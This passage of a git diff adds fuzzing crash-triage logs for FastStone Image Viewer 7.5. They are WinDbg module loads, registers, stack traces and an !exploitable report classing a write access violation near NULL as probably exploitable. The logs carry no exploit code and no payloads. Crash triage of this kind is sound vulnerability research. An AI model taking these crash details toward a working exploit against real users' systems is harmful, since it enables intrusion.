+ModLoad: 00000000`74c20000 00000000`74c8d000 C:\Windows\SysWOW64\winspool.drv +ModLoad: 00000000`75ee0000 00000000`75f8f000 C:\Windows\SysWOW64\comdlg32.dll +ModLoad: 00000000`75d50000 00000000`75dd7000 C:\Windows\SysWOW64\shcore.dll +ModLoad: 00000000`753b0000 00000000`753f5000 C:\Windows\SysWOW64\SHLWAPI.dll +ModLoad: 00000000`74c00000 00000000`74c1b000 C:\Windows\SysWOW64\avifil32.dll +ModLoad: 00000000`74bd0000 00000000`74bf2000 C:\Windows\SysWOW64\MsVfW32.dll +ModLoad: 00000000`74ba0000 00000000`74bc8000 C:\Windows\SysWOW64\winmm.dll +ModLoad: 00000000`74a00000 00000000`74b9a000 C:\Windows\SysWOW64\quartz.dll +ModLoad: 00000000`749e0000 00000000`749f9000 C:\Windows\SysWOW64\MSACM32.dll +ModLoad: 00000000`75800000 00000000`75819000 C:\Windows\SysWOW64\bcrypt.dll +ModLoad: 00000000`743d0000 00000000`749d4000 C:\Windows\SysWOW64\windows.storage.dll +ModLoad: 00000000`743b0000 00000000`743cd000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`74380000 00000000`743a3000 C:\Windows\SysWOW64\Wldp.dll +ModLoad: 74300000 74374000 C:\Windows\SysWOW64\uxtheme.dll +ModLoad: 00000000`76f60000 00000000`77032000 C:\Windows\SysWOW64\MSCTF.dll +ModLoad: 00000000`742e0000 00000000`742f9000 C:\Windows\SysWOW64\olepro32.dll +ModLoad: 00000000`742d0000 00000000`742df000 C:\Windows\SysWOW64\kernel.appcore.dll +ModLoad: 00000000`765c0000 00000000`7661c000 C:\Windows\SysWOW64\bcryptPrimitives.dll +ModLoad: 00000000`75370000 00000000`753ab000 C:\Windows\SysWOW64\CFGMGR32.dll +ModLoad: 00000000`767f0000 00000000`7686e000 C:\Windows\SysWOW64\clbcatq.dll +ModLoad: 00000000`74200000 00000000`742c2000 C:\Windows\SysWOW64\propsys.dll +ModLoad: 00000000`741e0000 00000000`741f8000 C:\Windows\SysWOW64\profapi.dll +ModLoad: 00000000`74140000 00000000`741d4000 C:\Windows\SysWOW64\TextShaping.dll +ModLoad: 00000000`73fd0000 00000000`74140000 C:\Windows\SysWOW64\windowscodecs.dll +ModLoad: 00000000`73f60000 00000000`73fc1000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin06.dll +ModLoad: 00000000`73f50000 00000000`73f57000 C:\Windows\SysWOW64\DCIMAN32.DLL +ModLoad: 00000000`73f10000 00000000`73f42000 C:\Windows\SysWOW64\dataexchange.dll +ModLoad: 00000000`73d30000 00000000`73f10000 C:\Windows\SysWOW64\d3d11.dll +ModLoad: 00000000`73bc0000 00000000`73d24000 C:\Windows\SysWOW64\dcomp.dll +ModLoad: 00000000`73af0000 00000000`73bb2000 C:\Windows\SysWOW64\dxgi.dll +ModLoad: 00000000`73960000 00000000`73af0000 C:\Windows\SysWOW64\twinapi.appcore.dll +ModLoad: 00000000`73910000 00000000`73958000 C:\Windows\SysWOW64\thumbcache.dll +ModLoad: 00000000`73900000 00000000`7390a000 C:\Windows\SysWOW64\Secur32.dll +ModLoad: 00000000`738d0000 00000000`738f1000 C:\Windows\SysWOW64\SSPICLI.DLL +ModLoad: 00000000`738b0000 00000000`738c5000 C:\Windows\SysWOW64\samcli.dll +ModLoad: 00000000`73890000 00000000`738a9000 C:\Windows\SysWOW64\SAMLIB.dll +ModLoad: 00000000`73880000 00000000`7388b000 C:\Windows\SysWOW64\netutils.dll +ModLoad: 00000000`6ad80000 00000000`6adfe000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin05.dll +ModLoad: 00000000`737f0000 00000000`73872000 C:\Program Files (x86)\Common Files\microsoft shared\ink\tiptsf.dll +(1a90.17ec): Access violation - code c0000005 (first chance) +r +*** WARNING: Unable to verify checksum for image00000000`00400000 +eax=0019f4b6 ebx=40000000 ecx=07ee7b19 edx=00000000 esi=00000000 edi=07ce8fd4 +eip=005bdfcb esp=0019f4a4 ebp=0019f94c iopl=0 nv up ei pl nz ac pe nc +cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00210216 +image00000000_00400000+0x1bdfcb: +005bdfcb 884c1602 mov byte ptr [esi+edx+2],cl ds:002b:00000002=?? +rF +fpcw=137F: rn 64 puozdi fpsw=4020: top=0 cc=1000 --p----- fptw=0000 +fopcode=0000 fpip=0000:00604b66 fpdp=0000:00000000 +st0=-1.#SNAN0000000000000000e+0000 st1=-1.#SNAN0000000000000000e+0000 +st2=-1.#SNAN0000000000000000e+0000 st3= 5.743861801539748960000e+0017 +st4= 1.000000000000000000000e+0000 st5= 5.000000000000000000000e-0001 +st6= 6.250000000000000000000e-0002 st7= 3.000000000000000000000e+0002 +image00000000_00400000+0x1bdfcb: +005bdfcb 884c1602 mov byte ptr [esi+edx+2],cl ds:002b:00000002=?? +rX +xmm0=0 0 0 0 +xmm1=0 0 0 0 +xmm2=0 0 0 0 +xmm3=0 0 0 0 +xmm4=0 0 0 0 +xmm5=0 0 0 0 +xmm6=0 0 0 0 +xmm7=4.88137e-007 -4.59465e+012 -1.33776e+008 3.51729e-012 +image00000000_00400000+0x1bdfcb: +005bdfcb 884c1602 mov byte ptr [esi+edx+2],cl ds:002b:00000002=?? + + +kb +ChildEBP RetAddr Args to Child +WARNING: Stack unwind information not available. Following frames may be wrong. +0019f94c 0060d6fc 00000000 0019f9b4 0019f984 image00000000_00400000+0x1bdfcb +0019f9c4 005ff93f 0019fa24 005ffbc2 0019fa1c image00000000_00400000+0x20d6fc +0019fa1c 005ff1ef 0019fa44 005ff1f9 0019fa3c image00000000_00400000+0x1ff93f +0019fa3c 008ec955 0019fa70 008ec986 0019fa64 image00000000_00400000+0x1ff1ef +0019fa64 008ef283 0019fb98 0019fa7c 008ef2db image00000000_00400000+0x4ec955 +0019fb98 009298d4 00000001 00000000 00000001 image00000000_00400000+0x4ef283 +0019fc30 0079d2a5 0019fc44 0079d2ec 0019fcdc image00000000_00400000+0x5298d4 +0019fcdc 007987f5 0019fcf0 007987ff 0019fd98 image00000000_00400000+0x39d2a5 +0019fd98 00473a07 0019fdd8 00473a11 0019fdbc image00000000_00400000+0x3987f5 +0019fdbc 004736f3 07fc8130 07f45930 004041f2 image00000000_00400000+0x73a07 +0019ff00 0047b058 0019ff2c 0047b062 0019ff24 image00000000_00400000+0x736f3 +0019ff24 009642e3 0019ff38 009642fe 0019ff70 image00000000_00400000+0x7b058 +0019ff70 7572f989 0022f000 7572f970 0019ffdc image00000000_00400000+0x5642e3 +0019ff80 770b7084 0022f000 8b3010f7 00000000 KERNEL32!BaseThreadInitThunk+0x19 +0019ffdc 770b7054 ffffffff 770d629b 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +0019ffec 00000000 00963a10 0022f000 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 + + +.load C:\peach\Debuggers\DebugEngine\msec64.dll +!exploitable -m +IDENTITY:HostMachine\HostUser +PROCESSOR:X86 +CLASS:USER +QUALIFIER:USER_PROCESS +EVENT:DEBUG_EVENT_EXCEPTION +EXCEPTION_FAULTING_ADDRESS:0x2 +EXCEPTION_CODE:0xC0000005 +EXCEPTION_LEVEL:FIRST_CHANCE +EXCEPTION_TYPE:STATUS_ACCESS_VIOLATION +EXCEPTION_SUBTYPE:WRITE +MAJOR_HASH:0x67613208 +MINOR_HASH:0x05751964 +STACK_DEPTH:16 +STACK_FRAME:image00000000_00400000+0x1bdfcb +STACK_FRAME:image00000000_00400000+0x20d6fc +STACK_FRAME:image00000000_00400000+0x1ff93f +STACK_FRAME:image00000000_00400000+0x1ff1ef +STACK_FRAME:image00000000_00400000+0x4ec955 +STACK_FRAME:image00000000_00400000+0x4ef283 +STACK_FRAME:image00000000_00400000+0x5298d4 +STACK_FRAME:image00000000_00400000+0x39d2a5 +STACK_FRAME:image00000000_00400000+0x3987f5 +STACK_FRAME:image00000000_00400000+0x73a07 +STACK_FRAME:image00000000_00400000+0x736f3 +STACK_FRAME:image00000000_00400000+0x7b058 +STACK_FRAME:image00000000_00400000+0x5642e3 +STACK_FRAME:KERNEL32!BaseThreadInitThunk+0x19 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 +INSTRUCTION_ADDRESS:0x00000000005bdfcb +INVOKING_STACK_FRAME:0 +DESCRIPTION:User Mode Write AV near NULL +SHORT_DESCRIPTION:WriteAV +CLASSIFICATION:PROBABLY_EXPLOITABLE +BUG_TITLE:Probably Exploitable - User Mode Write AV near NULL starting at image00000000_00400000+0x00000000001bdfcb (Hash=0x67613208.0x05751964) +EXPLANATION:User mode write access violations that are near NULL are probably exploitable. \ No newline at end of file diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/3814/WindowsDebugEngine_description.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/3814/WindowsDebugEngine_description.txt new file mode 100644 index 0000000..6e7fcde --- /dev/null +++ b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/3814/WindowsDebugEngine_description.txt @@ -0,0 +1,173 @@ + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols + +Microsoft (R) Windows Debugger Version 10.0.19041.685 AMD64 +Copyright (c) Microsoft Corporation. All rights reserved. + +CommandLine: C:\Program Files (x86)\FastStone Image Viewer\FSViewer.exe fuzz.cur + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols +Symbol search path is: SRV*http://msdl.microsoft.com/download/symbols +Executable search path is: +ModLoad: 00000000`00400000 00000000`00abf000 image00000000`00400000 +ModLoad: 00007ffa`f7d90000 00007ffa`f7f84000 ntdll.dll +ModLoad: 00000000`77050000 00000000`771f2000 ntdll.dll +ModLoad: 00000000`00ac0000 00000000`00b34000 C:\Windows\System32\verifier.dll +Page heap: pid 0x1A90: page heap enabled with flags 0x3. +ModLoad: 00007ffa`f6430000 00007ffa`f6489000 C:\Windows\System32\wow64.dll +ModLoad: 00007ffa`f6520000 00007ffa`f65a3000 C:\Windows\System32\wow64win.dll +ModLoad: 00000000`77040000 00000000`7704a000 C:\Windows\System32\wow64cpu.dll +ModLoad: 00000000`74ec0000 00000000`74f25000 C:\Windows\SysWOW64\verifier.dll +Page heap: pid 0x1A90: page heap enabled with flags 0x3. +ModLoad: 00000000`75710000 00000000`75800000 C:\Windows\SysWOW64\KERNEL32.DLL +ModLoad: 00000000`754f0000 00000000`75703000 C:\Windows\SysWOW64\KERNELBASE.dll +ModLoad: 00000000`75ac0000 00000000`75c53000 C:\Windows\SysWOW64\user32.dll +ModLoad: 00000000`75de0000 00000000`75df8000 C:\Windows\SysWOW64\win32u.dll +ModLoad: 00000000`768f0000 00000000`76913000 C:\Windows\SysWOW64\GDI32.dll +ModLoad: 00000000`75e00000 00000000`75eda000 C:\Windows\SysWOW64\gdi32full.dll +ModLoad: 00000000`76300000 00000000`7637b000 C:\Windows\SysWOW64\msvcp_win.dll +ModLoad: 00000000`764a0000 00000000`765c0000 C:\Windows\SysWOW64\ucrtbase.dll +ModLoad: 00000000`76870000 00000000`768e9000 C:\Windows\SysWOW64\advapi32.dll +ModLoad: 00000000`76380000 00000000`7643f000 C:\Windows\SysWOW64\msvcrt.dll +ModLoad: 00000000`76280000 00000000`762f5000 C:\Windows\SysWOW64\sechost.dll +ModLoad: 00000000`75a00000 00000000`75aba000 C:\Windows\SysWOW64\RPCRT4.dll +ModLoad: 00000000`76750000 00000000`767e6000 C:\Windows\SysWOW64\oleaut32.dll +ModLoad: 00000000`76000000 00000000`76280000 C:\Windows\SysWOW64\combase.dll +ModLoad: 00000000`75c60000 00000000`75d43000 C:\Windows\SysWOW64\ole32.dll +ModLoad: 00000000`74eb0000 00000000`74eb8000 C:\Windows\SysWOW64\version.dll +ModLoad: 00000000`74ea0000 00000000`74ea6000 C:\Windows\SysWOW64\msimg32.dll +ModLoad: 00000000`75400000 00000000`75425000 C:\Windows\SysWOW64\imm32.dll +ModLoad: 00000000`74c90000 00000000`74ea0000 C:\Windows\WinSxS\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.19041.1_none_fd031af45b0106f2\comctl32.dll +ModLoad: 00000000`769b0000 00000000`76f57000 C:\Windows\SysWOW64\shell32.dll +ModLoad: 00000000`74c20000 00000000`74c8d000 C:\Windows\SysWOW64\winspool.drv +ModLoad: 00000000`75ee0000 00000000`75f8f000 C:\Windows\SysWOW64\comdlg32.dll +ModLoad: 00000000`75d50000 00000000`75dd7000 C:\Windows\SysWOW64\shcore.dll +ModLoad: 00000000`753b0000 00000000`753f5000 C:\Windows\SysWOW64\SHLWAPI.dll +ModLoad: 00000000`74c00000 00000000`74c1b000 C:\Windows\SysWOW64\avifil32.dll +ModLoad: 00000000`74bd0000 00000000`74bf2000 C:\Windows\SysWOW64\MsVfW32.dll +ModLoad: 00000000`74ba0000 00000000`74bc8000 C:\Windows\SysWOW64\winmm.dll +ModLoad: 00000000`74a00000 00000000`74b9a000 C:\Windows\SysWOW64\quartz.dll +ModLoad: 00000000`749e0000 00000000`749f9000 C:\Windows\SysWOW64\MSACM32.dll +ModLoad: 00000000`75800000 00000000`75819000 C:\Windows\SysWOW64\bcrypt.dll +ModLoad: 00000000`743d0000 00000000`749d4000 C:\Windows\SysWOW64\windows.storage.dll +ModLoad: 00000000`743b0000 00000000`743cd000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`74380000 00000000`743a3000 C:\Windows\SysWOW64\Wldp.dll +ModLoad: 74300000 74374000 C:\Windows\SysWOW64\uxtheme.dll +ModLoad: 00000000`76f60000 00000000`77032000 C:\Windows\SysWOW64\MSCTF.dll +ModLoad: 00000000`742e0000 00000000`742f9000 C:\Windows\SysWOW64\olepro32.dll +ModLoad: 00000000`742d0000 00000000`742df000 C:\Windows\SysWOW64\kernel.appcore.dll +ModLoad: 00000000`765c0000 00000000`7661c000 C:\Windows\SysWOW64\bcryptPrimitives.dll +ModLoad: 00000000`75370000 00000000`753ab000 C:\Windows\SysWOW64\CFGMGR32.dll +ModLoad: 00000000`767f0000 00000000`7686e000 C:\Windows\SysWOW64\clbcatq.dll +ModLoad: 00000000`74200000 00000000`742c2000 C:\Windows\SysWOW64\propsys.dll +ModLoad: 00000000`741e0000 00000000`741f8000 C:\Windows\SysWOW64\profapi.dll +ModLoad: 00000000`74140000 00000000`741d4000 C:\Windows\SysWOW64\TextShaping.dll +ModLoad: 00000000`73fd0000 00000000`74140000 C:\Windows\SysWOW64\windowscodecs.dll +ModLoad: 00000000`73f60000 00000000`73fc1000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin06.dll +ModLoad: 00000000`73f50000 00000000`73f57000 C:\Windows\SysWOW64\DCIMAN32.DLL +ModLoad: 00000000`73f10000 00000000`73f42000 C:\Windows\SysWOW64\dataexchange.dll +ModLoad: 00000000`73d30000 00000000`73f10000 C:\Windows\SysWOW64\d3d11.dll +ModLoad: 00000000`73bc0000 00000000`73d24000 C:\Windows\SysWOW64\dcomp.dll +ModLoad: 00000000`73af0000 00000000`73bb2000 C:\Windows\SysWOW64\dxgi.dll +ModLoad: 00000000`73960000 00000000`73af0000 C:\Windows\SysWOW64\twinapi.appcore.dll +ModLoad: 00000000`73910000 00000000`73958000 C:\Windows\SysWOW64\thumbcache.dll +ModLoad: 00000000`73900000 00000000`7390a000 C:\Windows\SysWOW64\Secur32.dll +ModLoad: 00000000`738d0000 00000000`738f1000 C:\Windows\SysWOW64\SSPICLI.DLL +ModLoad: 00000000`738b0000 00000000`738c5000 C:\Windows\SysWOW64\samcli.dll +ModLoad: 00000000`73890000 00000000`738a9000 C:\Windows\SysWOW64\SAMLIB.dll +ModLoad: 00000000`73880000 00000000`7388b000 C:\Windows\SysWOW64\netutils.dll +ModLoad: 00000000`6ad80000 00000000`6adfe000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin05.dll +ModLoad: 00000000`737f0000 00000000`73872000 C:\Program Files (x86)\Common Files\microsoft shared\ink\tiptsf.dll +(1a90.17ec): Access violation - code c0000005 (first chance) +r +*** WARNING: Unable to verify checksum for image00000000`00400000 +eax=0019f4b6 ebx=40000000 ecx=07ee7b19 edx=00000000 esi=00000000 edi=07ce8fd4 +eip=005bdfcb esp=0019f4a4 ebp=0019f94c iopl=0 nv up ei pl nz ac pe nc +cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00210216 +image00000000_00400000+0x1bdfcb: +005bdfcb 884c1602 mov byte ptr [esi+edx+2],cl ds:002b:00000002=?? +rF +fpcw=137F: rn 64 puozdi fpsw=4020: top=0 cc=1000 --p----- fptw=0000 +fopcode=0000 fpip=0000:00604b66 fpdp=0000:00000000 +st0=-1.#SNAN0000000000000000e+0000 st1=-1.#SNAN0000000000000000e+0000 +st2=-1.#SNAN0000000000000000e+0000 st3= 5.743861801539748960000e+0017 +st4= 1.000000000000000000000e+0000 st5= 5.000000000000000000000e-0001 +st6= 6.250000000000000000000e-0002 st7= 3.000000000000000000000e+0002 +image00000000_00400000+0x1bdfcb: +005bdfcb 884c1602 mov byte ptr [esi+edx+2],cl ds:002b:00000002=?? +rX +xmm0=0 0 0 0 +xmm1=0 0 0 0 +xmm2=0 0 0 0 +xmm3=0 0 0 0 +xmm4=0 0 0 0 +xmm5=0 0 0 0 +xmm6=0 0 0 0 +xmm7=4.88137e-007 -4.59465e+012 -1.33776e+008 3.51729e-012 +image00000000_00400000+0x1bdfcb: +005bdfcb 884c1602 mov byte ptr [esi+edx+2],cl ds:002b:00000002=?? + + +kb +ChildEBP RetAddr Args to Child +WARNING: Stack unwind information not available. Following frames may be wrong. +0019f94c 0060d6fc 00000000 0019f9b4 0019f984 image00000000_00400000+0x1bdfcb +0019f9c4 005ff93f 0019fa24 005ffbc2 0019fa1c image00000000_00400000+0x20d6fc +0019fa1c 005ff1ef 0019fa44 005ff1f9 0019fa3c image00000000_00400000+0x1ff93f +0019fa3c 008ec955 0019fa70 008ec986 0019fa64 image00000000_00400000+0x1ff1ef +0019fa64 008ef283 0019fb98 0019fa7c 008ef2db image00000000_00400000+0x4ec955 +0019fb98 009298d4 00000001 00000000 00000001 image00000000_00400000+0x4ef283 +0019fc30 0079d2a5 0019fc44 0079d2ec 0019fcdc image00000000_00400000+0x5298d4 +0019fcdc 007987f5 0019fcf0 007987ff 0019fd98 image00000000_00400000+0x39d2a5 +0019fd98 00473a07 0019fdd8 00473a11 0019fdbc image00000000_00400000+0x3987f5 +0019fdbc 004736f3 07fc8130 07f45930 004041f2 image00000000_00400000+0x73a07 +0019ff00 0047b058 0019ff2c 0047b062 0019ff24 image00000000_00400000+0x736f3 +0019ff24 009642e3 0019ff38 009642fe 0019ff70 image00000000_00400000+0x7b058 +0019ff70 7572f989 0022f000 7572f970 0019ffdc image00000000_00400000+0x5642e3 +0019ff80 770b7084 0022f000 8b3010f7 00000000 KERNEL32!BaseThreadInitThunk+0x19 +0019ffdc 770b7054 ffffffff 770d629b 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +0019ffec 00000000 00963a10 0022f000 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 + + +.load C:\peach\Debuggers\DebugEngine\msec64.dll +!exploitable -m +IDENTITY:HostMachine\HostUser +PROCESSOR:X86 +CLASS:USER +QUALIFIER:USER_PROCESS +EVENT:DEBUG_EVENT_EXCEPTION +EXCEPTION_FAULTING_ADDRESS:0x2 +EXCEPTION_CODE:0xC0000005 +EXCEPTION_LEVEL:FIRST_CHANCE +EXCEPTION_TYPE:STATUS_ACCESS_VIOLATION +EXCEPTION_SUBTYPE:WRITE +MAJOR_HASH:0x67613208 +MINOR_HASH:0x05751964 +STACK_DEPTH:16 +STACK_FRAME:image00000000_00400000+0x1bdfcb +STACK_FRAME:image00000000_00400000+0x20d6fc +STACK_FRAME:image00000000_00400000+0x1ff93f +STACK_FRAME:image00000000_00400000+0x1ff1ef +STACK_FRAME:image00000000_00400000+0x4ec955 +STACK_FRAME:image00000000_00400000+0x4ef283 +STACK_FRAME:image00000000_00400000+0x5298d4 +STACK_FRAME:image00000000_00400000+0x39d2a5 +STACK_FRAME:image00000000_00400000+0x3987f5 +STACK_FRAME:image00000000_00400000+0x73a07 +STACK_FRAME:image00000000_00400000+0x736f3 +STACK_FRAME:image00000000_00400000+0x7b058 +STACK_FRAME:image00000000_00400000+0x5642e3 +STACK_FRAME:KERNEL32!BaseThreadInitThunk+0x19 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 +INSTRUCTION_ADDRESS:0x00000000005bdfcb +INVOKING_STACK_FRAME:0 +DESCRIPTION:User Mode Write AV near NULL +SHORT_DESCRIPTION:WriteAV +CLASSIFICATION:PROBABLY_EXPLOITABLE +BUG_TITLE:Probably Exploitable - User Mode Write AV near NULL starting at image00000000_00400000+0x00000000001bdfcb (Hash=0x67613208.0x05751964) +EXPLANATION:User mode write access violations that are near NULL are probably exploitable. \ No newline at end of file diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/3814/action_1_Output_Unknown Action 1.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/3814/action_1_Output_Unknown Action 1.txt new file mode 100644 index 0000000..5f83f84 Binary files /dev/null and b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/3814/action_1_Output_Unknown Action 1.txt differ diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/41618/Initial/SystemDebugger_description.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/41618/Initial/SystemDebugger_description.txt new file mode 100644 index 0000000..9258160 --- /dev/null +++ b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/41618/Initial/SystemDebugger_description.txt @@ -0,0 +1,2 @@ +First Chance Exception: 0xc0000005 +Access Violation Writing To 0x0000000000000002 \ No newline at end of file diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/41618/Initial/action_1_Output_Unknown Action 1.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/41618/Initial/action_1_Output_Unknown Action 1.txt new file mode 100644 index 0000000..941dab1 Binary files /dev/null and b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/41618/Initial/action_1_Output_Unknown Action 1.txt differ diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/41618/WindowsDebugEngine_StackTrace.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/41618/WindowsDebugEngine_StackTrace.txt new file mode 100644 index 0000000..31d547b --- /dev/null +++ b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/41618/WindowsDebugEngine_StackTrace.txt @@ -0,0 +1,174 @@ + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols + +Microsoft (R) Windows Debugger Version 10.0.19041.685 AMD64 +Copyright (c) Microsoft Corporation. All rights reserved. + +CommandLine: C:\Program Files (x86)\FastStone Image Viewer\FSViewer.exe fuzz.cur + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols +Symbol search path is: SRV*http://msdl.microsoft.com/download/symbols +Executable search path is: +ModLoad: 00000000`00400000 00000000`00abf000 image00000000`00400000 +ModLoad: 00007ffa`f7d90000 00007ffa`f7f84000 ntdll.dll +ModLoad: 00000000`77050000 00000000`771f2000 ntdll.dll +ModLoad: 00000000`00ac0000 00000000`00b34000 C:\Windows\System32\verifier.dll +Page heap: pid 0x125C: page heap enabled with flags 0x3. +ModLoad: 00007ffa`f6430000 00007ffa`f6489000 C:\Windows\System32\wow64.dll +ModLoad: 00007ffa`f6520000 00007ffa`f65a3000 C:\Windows\System32\wow64win.dll +ModLoad: 00000000`77040000 00000000`7704a000 C:\Windows\System32\wow64cpu.dll +ModLoad: 00000000`74ec0000 00000000`74f25000 C:\Windows\SysWOW64\verifier.dll +Page heap: pid 0x125C: page heap enabled with flags 0x3. +ModLoad: 00000000`75710000 00000000`75800000 C:\Windows\SysWOW64\KERNEL32.DLL +ModLoad: 00000000`754f0000 00000000`75703000 C:\Windows\SysWOW64\KERNELBASE.dll +ModLoad: 00000000`75ac0000 00000000`75c53000 C:\Windows\SysWOW64\user32.dll +ModLoad: 00000000`75de0000 00000000`75df8000 C:\Windows\SysWOW64\win32u.dll +ModLoad: 00000000`768f0000 00000000`76913000 C:\Windows\SysWOW64\GDI32.dll +ModLoad: 00000000`75e00000 00000000`75eda000 C:\Windows\SysWOW64\gdi32full.dll +ModLoad: 00000000`76300000 00000000`7637b000 C:\Windows\SysWOW64\msvcp_win.dll +ModLoad: 00000000`764a0000 00000000`765c0000 C:\Windows\SysWOW64\ucrtbase.dll +ModLoad: 00000000`76870000 00000000`768e9000 C:\Windows\SysWOW64\advapi32.dll +ModLoad: 00000000`76380000 00000000`7643f000 C:\Windows\SysWOW64\msvcrt.dll +ModLoad: 00000000`76280000 00000000`762f5000 C:\Windows\SysWOW64\sechost.dll +ModLoad: 00000000`75a00000 00000000`75aba000 C:\Windows\SysWOW64\RPCRT4.dll +ModLoad: 00000000`76750000 00000000`767e6000 C:\Windows\SysWOW64\oleaut32.dll +ModLoad: 00000000`76000000 00000000`76280000 C:\Windows\SysWOW64\combase.dll +ModLoad: 00000000`75c60000 00000000`75d43000 C:\Windows\SysWOW64\ole32.dll +ModLoad: 00000000`74eb0000 00000000`74eb8000 C:\Windows\SysWOW64\version.dll +ModLoad: 00000000`74ea0000 00000000`74ea6000 C:\Windows\SysWOW64\msimg32.dll +ModLoad: 00000000`75400000 00000000`75425000 C:\Windows\SysWOW64\imm32.dll +ModLoad: 00000000`74c90000 00000000`74ea0000 C:\Windows\WinSxS\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.19041.1_none_fd031af45b0106f2\comctl32.dll +ModLoad: 00000000`769b0000 00000000`76f57000 C:\Windows\SysWOW64\shell32.dll +ModLoad: 00000000`74c20000 00000000`74c8d000 C:\Windows\SysWOW64\winspool.drv +ModLoad: 00000000`75ee0000 00000000`75f8f000 C:\Windows\SysWOW64\comdlg32.dll +ModLoad: 00000000`75d50000 00000000`75dd7000 C:\Windows\SysWOW64\shcore.dll +ModLoad: 00000000`753b0000 00000000`753f5000 C:\Windows\SysWOW64\SHLWAPI.dll +ModLoad: 00000000`74c00000 00000000`74c1b000 C:\Windows\SysWOW64\avifil32.dll +ModLoad: 00000000`74bd0000 00000000`74bf2000 C:\Windows\SysWOW64\MsVfW32.dll +ModLoad: 00000000`74ba0000 00000000`74bc8000 C:\Windows\SysWOW64\winmm.dll +ModLoad: 00000000`749e0000 00000000`749f9000 C:\Windows\SysWOW64\MSACM32.dll +ModLoad: 00000000`74a00000 00000000`74b9a000 C:\Windows\SysWOW64\quartz.dll +ModLoad: 00000000`75800000 00000000`75819000 C:\Windows\SysWOW64\bcrypt.dll +ModLoad: 00000000`743b0000 00000000`743cd000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`001d0000 00000000`001ed000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`743d0000 00000000`749d4000 C:\Windows\SysWOW64\windows.storage.dll +ModLoad: 00000000`74380000 00000000`743a3000 C:\Windows\SysWOW64\Wldp.dll +ModLoad: 74300000 74374000 C:\Windows\SysWOW64\uxtheme.dll +ModLoad: 00000000`76f60000 00000000`77032000 C:\Windows\SysWOW64\MSCTF.dll +ModLoad: 